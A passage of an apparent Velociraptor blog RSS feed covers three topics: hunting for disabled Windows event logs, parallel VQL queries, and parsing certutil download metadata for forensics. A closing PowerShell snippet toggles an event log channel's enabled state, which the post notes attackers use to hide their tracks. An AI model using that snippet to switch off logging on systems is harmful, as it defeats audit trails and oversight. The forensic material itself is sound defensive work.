targeted for hunting. You can see the full source of the &lt;code&gt;Windows.EventLogs.Modifications&lt;/code&gt; artifact &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/EventLogs/Modifications.yaml&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1qjwC5Ct0Y9udkI0QwPRUUg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Let’s see all the logs that were disabled or enabled in the past day&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1lfyqJjJym9MFUa0xDDfnsw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Within 2 seconds we see that the BITS admin channel was manipulated within the previous day&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1Kk0EeHBU1e1AaofCPf6PQQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;And the provider was also disabled very recently.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/17IoSXoPVQYO0G3ZAKT5Ltg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Next stop is to perform a hunt across my enterprise and look for recently modified channel settings, as well as stacking across my endpoints to see which log channels are disabled on few machines but are generally supposed to be enabled.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-29-disabled-event-log-files-a3529a08adbe/../../img/1tcJ3Y2gO3ILG1FtpMghThg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;In the above screenshot I ran a hunt on about 100 endpoints which have the default enabled logs, and a single endpoint with that log disabled. The stacking operation (GROUP BY) immediately reveals the outliers.&lt;/p&gt;&#xA;&lt;h3 id=&#34;conclusions&#34;&gt;Conclusions&lt;/h3&gt;&#xA;&lt;p&gt;This was a fun little exercise in trying to understand event logging in Windows. Adversaries often just disable logs during the period of their activities, so solutions completely dependent on log files are very vulnerable to these techniques.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor’s power is in being able to quickly and easily recover forensic evidence on activity on the endpoint. In most environments disabling log file or providers is not a legitimately common, so hunting for such activity produces high value signals and leads to a better understanding of how attackers are able to hide their tracks.&lt;/p&gt;&#xA;&lt;p&gt;The above example is just one of the exercises we do in our hands on Velociraptor courses. If you are interested in learning more about Velociraptor, check out our hands on training courses on &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt; or join us on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;h3 id=&#34;ps&#34;&gt;P.S.&lt;/h3&gt;&#xA;&lt;p&gt;You can automate event log enable/disable using the following powershell&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code class=&#34;language-powershell&#34;&gt;$logName = ‘Microsoft-Windows-DNS-Client/Operational’&#xA;$log = New-Object System.Diagnostics.Eventing.Reader.EventLogConfiguration $logName&#xA;$log.IsEnabled=$true&#xA;$log.SaveChanges()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;</description>
    </item>
    <item>
      <title>Concurrent VQL</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/</link>
      <pubDate>Fri, 22 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/0O-0AL55-9dX4uKDn?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor’s special source is really the Velociraptor Query Language (VQL). Using VQL allows administrators to query their endpoints and respond to new threats quickly and flexibly.&lt;/p&gt;&#xA;&lt;p&gt;VQL was always intended to be a simple query language which users could pick up in a matter of hours, while being powerful at the same time. We never intended VQL to be a full blown programming language. Nevertheless, performance is a critical feature of VQL, simply because queries typically need to process large amount of data quickly. The challenge is how to expose powerful multithreaded programming concepts to VQL’s simple model of operation.&lt;/p&gt;&#xA;&lt;p&gt;In this blog post we explore one of the new performance features that allow users to harness the full processing power of their platform.&lt;/p&gt;&#xA;&lt;h3 id=&#34;simple-example-hash-every-file&#34;&gt;Simple example: hash every file&lt;/h3&gt;&#xA;&lt;p&gt;Let’s consider a simple use case — hash every file on the system. I wrote a simple query to simply glob recursively through the filesystem, and for each file found calculate its hash.&lt;/p&gt;&#xA;&lt;p&gt;To test this query I ran it in a notebook within the Velociraptor GUI.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1lKdoOeFNUK3S0Jfoc5hjAg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This query is simple to understand, and fits the mental model of VQL: The glob() plugin searches the filesystem for files matching the glob expression (wildcards) and emits a single row per matched file. The query then processes each of these rows and passes the path to the hash() function which returns the hash.&lt;/p&gt;&#xA;&lt;p&gt;When I ran the above query on my system, I kept an eye on my CPU activity monitor applet and I could see a single core spiking, but most of my other cores were idle (This is a 24 core machine).&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1AqHCS0ooUVU6uu_d1MbwQA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;After a while, the query completes and I get the results (There were 4700 files hashed) and it took 46 second overall.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1_x-w8bzPKcgDxIpemcuAvg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;While this is satisfactory, I was a bit worried about my idle cores . This simple query was unable to fully utilize the processing capacity of my machine because the query was essentially sequential — each row was hashed in turn, before hashing the next row.&lt;/p&gt;&#xA;&lt;p&gt;In this case, 46 seconds is not too bad, but if I wanted to hash the entire hard disk (as opposed to the &lt;strong&gt;/usr/bin&lt;/strong&gt; directory) it could take a very long time.&lt;/p&gt;&#xA;&lt;h3 id=&#34;run-the-hash-in-parallel&#34;&gt;Run the hash in parallel&lt;/h3&gt;&#xA;&lt;p&gt;My query receives its file names from the glob() plugin which is very fast — clearly the performance blockage in my query is the &lt;strong&gt;hash&lt;/strong&gt; function which is CPU intensive. I would therefore love to have a hash operation sent to each core in parallel, then all my cores will be recruited and the query will run faster.&lt;/p&gt;&#xA;&lt;p&gt;Since Velociraptor 0.5.5, the foreach() plugin has an additional “workers” parameter. Readers who use Velociraptor extensively are familiar with the foreach() plugin, as it is probably the most common plugin in use. We also covered it in detail in an earlier blog post, &lt;a href=&#34;https://medium.com/velociraptor-ir/the-velociraptor-query-language-pt-2-fe92bb7aa150&#34; target=&#34;_blank&#34; &gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&lt;p&gt;In a nutshell, the foreach() plugin takes 2 parameters. The “row” parameter is another query which will be run, taking each row produced by it. The “query” parameter is another query which will be evaluated with a nested scope containing the row obtained (Conceptually, the foreach plugin acts in a similar way to the SQL JOIN operator).&lt;/p&gt;&#xA;&lt;p&gt;For example the above query can be refactored to&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1yQZMsoGUDzFNoHNBDvqXSg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The “row” query simply calls the glob() plugin and extracts the FullPath of each file matching the wildcards. The foreach() plugin will take that row and evaluate the query on the scope (therefore evaluating the hash() function).&lt;/p&gt;&#xA;&lt;p&gt;This still does not buy us very much because each row is still processed in sequence one after the other.&lt;/p&gt;&#xA;&lt;p&gt;In 0.5.5 the foreach() plugin has the “workers” parameter: This allows the plugin to create workers in a pool, and send them each row in parallel. While the “row” query is still evaluated sequentially, the “query” query will now be evaluated on a worker pool in a separate thread.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1g18d_ZqooGZyGFtBVgTpFg.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This time when I run the query, my CPU load applet lights up — all cores are busy!&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1WW4I3UqyHiQ5oisTojx5mw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The same query now takes 6 seconds instead of 46 seconds! A factor of 8 times faster.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1UON1jBo_919hBi9LMn-QJw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;This query was particularly suitable for parallelization because the CPU intensive operation was done on each row (hashing) but generating the rows themselves is very quick (globbing).&lt;/p&gt;&#xA;&lt;h3 id=&#34;other-use-cases&#34;&gt;Other use cases&lt;/h3&gt;&#xA;&lt;p&gt;In 0.5.5, Velociraptor’s offline collector now uses the above technique to upload multiple files simultaneously into the collection Zip file. Coupled with a multithreaded Zip writer implementation this allows parallel compression of many files at once — speeding up acquisition on most machines. The below screenshot shows the collector making good use of CPU resources during acquisition with a significant speed up.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-22-concurrent-vql-6d381fdb0b1f/../../img/1t5DedninX180zBSrNIv1dA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;thoughts-about-design&#34;&gt;Thoughts about design&lt;/h3&gt;&#xA;&lt;p&gt;Many users when they first are introduced to VQL ask me about the “query optimizer/planner”. I guess this is because VQL is very similar to SQL in syntax. However, VQL does not have any query rewriting behind the scenes — with VQL what you write is what you get!&lt;/p&gt;&#xA;&lt;p&gt;I feel that having some magic box rewrite your query behind your back is suboptimal — people have to constantly run “explain” to try to figure out what the optimizer/planner is going to do to their query and then try to rewrite their query in non-obvious ways to provide hints to the optimizer to get it to do what they actually wanted it to do. This adds complexity to the language and makes it more difficult to use.&lt;/p&gt;&#xA;&lt;p&gt;In VQL, if you wanted more performance, you can do it by structuring your query — Velociraptor is not going to second guess what you wanted to do.&lt;/p&gt;&#xA;&lt;p&gt;Additionally, extra performance may not always be what you want. If my goal was to hash the entire filesystem on an endpoint, I typically do not want the endpoint to use all its resources, because this may negatively impact the end user. For a machine with many cores, having a single core hash every file for a few hours is much less impactful or noticeable than all cores saturating, even for a short time.&lt;/p&gt;&#xA;&lt;p&gt;For these reasons parallelism in VQL is opt in — users have to structure their query to take advantage of it. The language remains simple and easy to use with a predictable model for how it works.&lt;/p&gt;&#xA;&lt;p&gt;To play with this feature yourself, take&lt;a href=&#34;https://github.com/Velocidex/velociraptor&#34; target=&#34;_blank&#34; &gt; Velociraptor for a spin&lt;/a&gt;! It is a available on GitHub under an open source license. As always please file issues on the bug tracker or ask questions on our mailing list &lt;a href=&#34;mailto:velociraptor-discuss@googlegroups.com&#34; target=&#34;_blank&#34; &gt;velociraptor-discuss@googlegroups.com&lt;/a&gt; . You can also chat with us directly on discord &lt;a href=&#34;https://www.velocidex.com/discord&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/discord&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;If you want to know more about Velociraptor, VQL and how to use it effectively to hunt across the enterprise, consider enrolling for the next available training course at &lt;a href=&#34;https://www.velocidex.com/training/&#34; target=&#34;_blank&#34; &gt;https://www.velocidex.com/training/&lt;/a&gt;.&lt;/p&gt;&#xA;</description>
    </item>
    <item>
      <title>Parsing binary files</title>
      <link>https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/</link>
      <pubDate>Tue, 19 Jan 2021 00:00:00 +0000</pubDate>
      <guid>https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/</guid>
      <description>&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/05guWyV7JU51Gcg3T?width=600px&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;During the course of our DFIR work, we typically need to extract some&#xA;information from endpoints from various files and registry keys on the&#xA;system. Sometimes it is possible to extract the needed information&#xA;using text processing tools — such as a regular expression applied on&#xA;a configuration file.&lt;/p&gt;&#xA;&lt;p&gt;In many cases however, the information we need is encoded inside a&#xA;binary file. A large part of DFIR analysis involves parsing binary&#xA;structures from files, registry keys and even event logs.&lt;/p&gt;&#xA;&lt;p&gt;While it is always possible to write a dedicated parser for whatever&#xA;file format we are interested in, this leads to operational&#xA;complexities — if we download an adhoc parser for a particular file&#xA;format, how do we push new program or script to the endpoint? how to&#xA;ensure it has any dependencies (e.g. Python, .NET etc)?&lt;/p&gt;&#xA;&lt;p&gt;The entire premise of VQL is that users should be able to rapidly&#xA;issue new queries to the endpoint, in a consistent and easy to learn&#xA;way. Wouldn’t it be great if users can parse binary files directly in&#xA;VQL without needing to use external programs?&lt;/p&gt;&#xA;&lt;p&gt;As of Velociraptor 0.5.5, VQL contains a powerful new built in binary&#xA;parser. This post introduces the new parser and shows a practical&#xA;example of using it to develop a powerful Velociraptor artifact.&lt;/p&gt;&#xA;&lt;h3 id=&#34;binary-parsing-overview&#34;&gt;Binary parsing overview.&lt;/h3&gt;&#xA;&lt;p&gt;Binary files store information for machine consumption — this is termed serialization. Ultimately serialization is a way to represent data as binary digits by encoding integers, structs and other concepts into a binary representation.&lt;/p&gt;&#xA;&lt;p&gt;While it is certainly possible to write parsers that procedurally unpack various bits of data from the file, these are typically hard to maintain and understand. It is better to visualize what the data actually means and how it is laid onto the file. Therefore we want to write parsers in a descriptive way rather than procedural — Ideally we want the parser to be easy to understand and maintain.&lt;/p&gt;&#xA;&lt;p&gt;Velociraptor’s binary parser has taken inspiration from other great parsers, such as Volatility and Rekall’s Vtype system (with some syntax simplification).&lt;/p&gt;&#xA;&lt;p&gt;The best way to introduce the new parser is with an example so I will jump straight in!&lt;/p&gt;&#xA;&lt;h3 id=&#34;certutil-metadata-parsing&#34;&gt;&lt;code&gt;Certutil&lt;/code&gt; metadata parsing&lt;/h3&gt;&#xA;&lt;p&gt;The &lt;code&gt;certutil&lt;/code&gt; program is a native, built in Windows tool used to download certificate information. It is a commonly used &lt;a href=&#34;https://lolbas-project.github.io/lolbas/Binaries/Certutil/&#34; target=&#34;_blank&#34; &gt;Lolbin&lt;/a&gt;, with attackers misusing the tool to download malicious code to compromised endpoints (see &lt;a href=&#34;https://attack.mitre.org/software/S0160/&#34; target=&#34;_blank&#34; &gt;Att&amp;amp;ck S0160&lt;/a&gt;).&lt;/p&gt;&#xA;&lt;p&gt;I was reading an excellent blog post recently titled &lt;a href=&#34;https://u0041.co/blog/post/3&#34; target=&#34;_blank&#34; &gt;&lt;code&gt;Certutil&lt;/code&gt; Artifacts Analysis&lt;/a&gt; where &lt;code&gt;Aalfaifi&lt;/code&gt; analyses the forensic evidence left behind by &lt;code&gt;certutil&lt;/code&gt;. Let’s write a parser for this!&lt;/p&gt;&#xA;&lt;p&gt;We start off by using &lt;code&gt;certutil&lt;/code&gt; in a malicious way — rather than downloading certificate revocation lists we will download an executable to the system for testing.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1c9DTl-Q04OAFY9T6CUidfw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;code&gt;certutil&lt;/code&gt; tool will download our executable and create a metadata file containing some very interesting data but what does it mean?&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/13ZKzTgDOewJinIZPEk_5TQ.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;Luckily &lt;code&gt;Aalfaifi&lt;/code&gt; has done the sleuthing work and their excellent article covers the details. I will interactively develop my VQL parser using the Velociraptor notebook. I first add a new notebook then add a VQL cell to it. I can now write and evaluate free form VQL.&lt;/p&gt;&#xA;&lt;p&gt;Let’s begin by just hard coding the path to the metadata file I created. I will also define a profile and an initial struct called Header.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1Dr6MW-g3e7l_adVaf0ZpSw.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;what-is-a-profile&#34;&gt;What is a profile?&lt;/h3&gt;&#xA;&lt;p&gt;A profile is a data driven template that describes how the data is overlaid onto the binary file. Velociraptor uses the profile to drive the parser but the profile is also meant for human consumption — it simply describes all the structs and their fields, sizes etc. Profiles are designed to be succinct and quick to write but also easy to read and understand.&lt;/p&gt;&#xA;&lt;p&gt;The basic structure of a profile is a JSON encoded data structure:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;The Profile contains a list of struct definitions&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Each struct definition is a list of &lt;strong&gt;[name, size, list of field definitions]&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;Each field definition is a list of** [name, offset, type, options]**&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I will start to define the Header struct with the following fields (offsets and fields taken from the Blog post above)&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;UrlSize is a 32 bit integer laid at offset 12&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;HashSize is a 32 bit integer laid at offset 100&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;li&gt;&#xA;&lt;p&gt;DownloadTime is a 64 bit timestamp at offset 16&lt;/p&gt;&#xA;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;You can see the profile and the resulting object in the screenshot below. Velociraptor calls the parse_binary() VQL function which opens the file and parses the struct &lt;strong&gt;Header&lt;/strong&gt; at offset 0.&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1WsI7L2niMYLC_N08v-eP1g.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;dynamic-properties&#34;&gt;Dynamic properties&lt;/h3&gt;&#xA;&lt;p&gt;So far things are simple — we specified the offsets and types of each field and Velociraptor just parsed them. However, now we want to extract the URL. According to the Blog post the URL starts at offset 116 and has a length specified by the UrlSize field. It is then followed by the hash with a length specified by the HashSize field.&lt;/p&gt;&#xA;&lt;p&gt;Because the offsets and sizes are not known in advance (URLs have different lengths), we need to define the profile dynamically. The profile will accept a &lt;strong&gt;VQL lambda&lt;/strong&gt; function in many places. The lambda function receives the partially parsed struct and can use it to derive other values dynamically at runtime.&lt;/p&gt;&#xA;&lt;p&gt;We can specify the URL as being a &lt;strong&gt;String&lt;/strong&gt; type with a length determined dynamically by the &lt;strong&gt;x.UrlSize&lt;/strong&gt; field. Similarly we can declare the offset of the Hash field as the lambda &lt;strong&gt;x=&amp;gt;x.UrlSize + 116&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1HZ7HGESjXWLR3DfapFOAxA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;figure&gt;&#xA;  &lt;div class=&#34;figure&#34;&gt;&#xA;    &lt;img src=&#34;https://www.velociraptor-docs.org/blog/2021/2021-01-19-parsing-binary-files-d31114a41f14/../../img/1S3LmbPVR8HpY1dgojr1kxA.png&#34;&#xA;         class=&#34;inline&#34;&#xA;         alt=&#34;&#34; /&gt;&#xA;  &lt;/div&gt;&#xA;  &lt;figcaption&gt;&#xA;    &#xA;  &lt;/figcaption&gt;&#xA;&lt;/figure&gt;&#xA;&#xA;&#xA;&lt;/p&gt;&#xA;&lt;h3 id=&#34;putting-it-all-together&#34;&gt;Putting it all together&lt;/h3&gt;&#xA;&lt;p&gt;This was easy! We now know the url the &lt;code&gt;certutil&lt;/code&gt; tool downloaded&#xA;from, the hash and the timestamp — all are critical in a DFIR&#xA;investigation to distinguish the legitimate use of &lt;code&gt;certutil&lt;/code&gt; from&#xA;malicious.&lt;/p&gt;&#xA;&lt;p&gt;While the above VQL only parsed a single hard coded metadata file, in practice we want to search for all metadata files from all users and parse them in a single collection.&lt;/p&gt;&#xA;&lt;p&gt;You can see the full artifact here &lt;a href=&#34;https://github.com/Velocidex/velociraptor/blob/master/artifacts/definitions/Windows/Forensics/CertUtil.yaml&#34; 